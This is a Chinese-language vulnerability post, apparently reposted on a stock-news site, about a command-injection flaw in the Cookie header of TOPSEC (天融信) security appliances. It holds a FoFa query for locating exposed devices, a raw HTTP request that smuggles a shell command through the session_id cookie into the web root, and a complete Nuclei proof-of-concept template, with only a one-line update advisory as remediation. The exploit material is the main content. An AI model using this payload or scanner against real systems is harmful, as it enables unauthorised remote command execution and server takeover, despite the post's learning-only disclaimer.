免责声明股鑫宝
图片股鑫宝股鑫宝
此内容仅供技术交流与学习，请勿用于未经授权的场景。请遵循相关法律与道德规范。任何因使用本文所述技术而引发的法律责任，与本文作者及发布平台无关。如有内容争议或侵权，请及时私信我们！
图片
图片
漏洞概述
图片
天融信TOPSEC解决方案包括综合管理系统，各类安全产品如防火墙、VPN、安全网关、宽带管理、入侵检测、内容过滤、个人安全套件以及综合安全审计系统等多种安全功能。该系统Cookie 处存在RCE漏洞，会导致服务器失陷。
图片
图片
FoFa
图片
title='Web User Login' && body='/cgi/maincgi.cgi?Url=VerifyCode'图片
漏洞复现
图片
GET /cgi/maincgi.cgi?Url=check HTTP/1.1Host: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Cookie: session_id_443=1|pwd > /www/htdocs/site/image/123.txt;Connection: close
图片
图片
图片
Nuclei Poc
图片
id: topsec-cookie-rceinfo: name: 天融信TOPSEC Cookie 远程命令执行漏洞 author: rain severity: critical metadata: fofa-query: title='Web User Login' && body='/cgi/maincgi.cgi?Url=VerifyCode'http: - raw: - | GET /cgi/maincgi.cgi?Url=check HTTP/1.1 Host: {{Hostname}} Cookie: session_id_443=1|echo 'test' > /www/htdocs/site/image/test.txt; User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 - | GET /site/image/test.txt HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36 matchers: - type: dsl dsl: - 'status_code == 200 && contains(body_2, 'test')'图片
修复建议
图片
更新至最新版本：确保你的系统版本处于最新状态。厂商通常会发布包含安全修复的更新，及时应用这些更新以确保系统的安全性。 本站仅提供存储服务，所有内容均由用户发布，如发现有害或侵权内容，请点击举报。道正网提示：文章来自网络，不代表本站观点。
- 上一篇：嗨牛股票 富时A50期指连续夜盘收跌0.01%，报14064点
- 下一篇：没有了
相关文章
沪深京指数
热点资讯
